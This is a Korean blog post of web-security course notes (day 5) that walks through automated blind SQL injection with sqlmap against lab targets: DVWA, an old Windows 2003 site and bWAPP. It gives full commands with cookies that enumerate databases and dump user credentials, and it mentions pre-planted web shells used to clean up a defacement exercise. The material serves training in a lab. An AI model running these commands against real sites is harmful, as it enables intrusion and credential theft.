웹 보안 - 5일차
* 블로그 등 보안 관련 안내 문구
- 본 블로그에서 알려준 내용으로 다른 웹사이트를 공격하시면 안됩니다.
- 실제 공격을 해서 발생한 결과에 대해서는 본 블로그 작성자는 책임을 지지 않습니다.
* CheckPoint.iso 파일 다운로드 하세요.
* SQL인젝션 공격 자동화
- DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 YES or NO 형식으로 응답하면 그 정보를 모아서, DB이름, Table이름 등을 파악
- Blind SQL 인젝션의 일종 ----> 반복작업이 많아서 사람이 일일이 하기는 어려움 ---> 자동화도구를 사용하는 이유
실습) Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL 인젝션 공격 자동화하기
- Kali Linux의 Firefox를 켜고 Meta2로 접속합니다.
- SQLmap의 문법
$ sudo sqlmap -u "[URL주소]" --cookie="[쿠키값]"
- URL주소 : SQL injection (Blind) 메뉴에서 입력창에 1~5사이의 번호를 입력하면 나타나는 주소표시줄의 주소를 사용
http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit
- 쿠키값 : 주소표시줄에 javascript:document.cookie 입력하면 화면에 쿠키값이 나타남
1단계) DB이름 알아내기
$ sudo sqlmap -u "[URL주소]" --cookie="[쿠키값]" --dbs
$ sudo sqlmap -u "" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" --dbs
물어보는 내용이 있으면 Y/n ---> y y/N ---> n (대문자로 되어 있는 것을 선택)
2단계) Table이름 알아내기
$ sudo sqlmap -u "[URL주소]" --cookie="[쿠키값]" -D dvwa --tables
----> guestbook, users
$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa --tables
3단계) Column이름 알아내기
$ sudo sqlmap -u "[URL주소]" --cookie="[쿠키값]" -D dvwa -T users --columns
$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa -T users --columns
4단계) 로그인 계정과 비밀번호 알아내기
$ sudo sqlmap -u "[URL주소]" --cookie="[쿠키값]" -D dvwa -T users -C user,password --dump
$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa -T users -C user,password --dump
( 선택지가 나오면 대문자 선택, 번호를 선택하는 경우 1번 선택 )
실습2) 같은 방법으로 Windows 2003에 해보기
cf. Deface실습한 흔적이 있으므로 아래 웹쉘을 이용해서 삭제하고 실습합니다.
http://192.168.5.131/uploadfile/1.jsp
http://192.168.5.131/uploadfile/browser.jsp
index.jsp 파일의 맨 오른쪽 끝에 Edit를 클릭
<BODY ~~~~~>
<DIV ~~~~></DIV> ------------> 이줄을 삭제하고 저장
새로고침하면 됨
- URL은 DB와의 연결 부분이어야 하므로, 게시판의 글을 본 상태에서 주소표시줄을 복사하면 됨
http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3 (공지사항 또는 자유게시판 글)
- Cookie를 알아내려면 javascript:document.cookie 입력후 엔터
1단계) DB이름 알아내기
$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" --dbs
----> 04arg
2단계) Table이름 알아내기
$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D 04arg --tables
3단계) Column이름 알아내기
$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D 04arg -T tbl_member --columns
4단계) userid와 passwd 알아내기
$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D 04arg -T tbl_member -C userid,passwd --dump
blank가 나왔다 너무 오래된 버전이라 그럴수도 있다.
실습3) Beebox에 SQLmap을 실습해보기
/SQL Injection - Blind - Boolean-Based/ 메뉴를 선택하고 검색창에 man이라고 넣음
----> 주소 표시줄 복사 ---> URL에 입력
1단계) DB이름 알아내기
available databases [4]:
[*] bWAPP
[*] drupageddon
[*] information_schema
[*] mysql
2단계) Table이름 알아내기
| blog |
| heroes |
| movies |
| users |
| visitors |
* Beebox에 대한 SQLmap 정리
$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" --dbs
$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP --tables
$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP -T users --columns
$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP -T users -C login,password --dump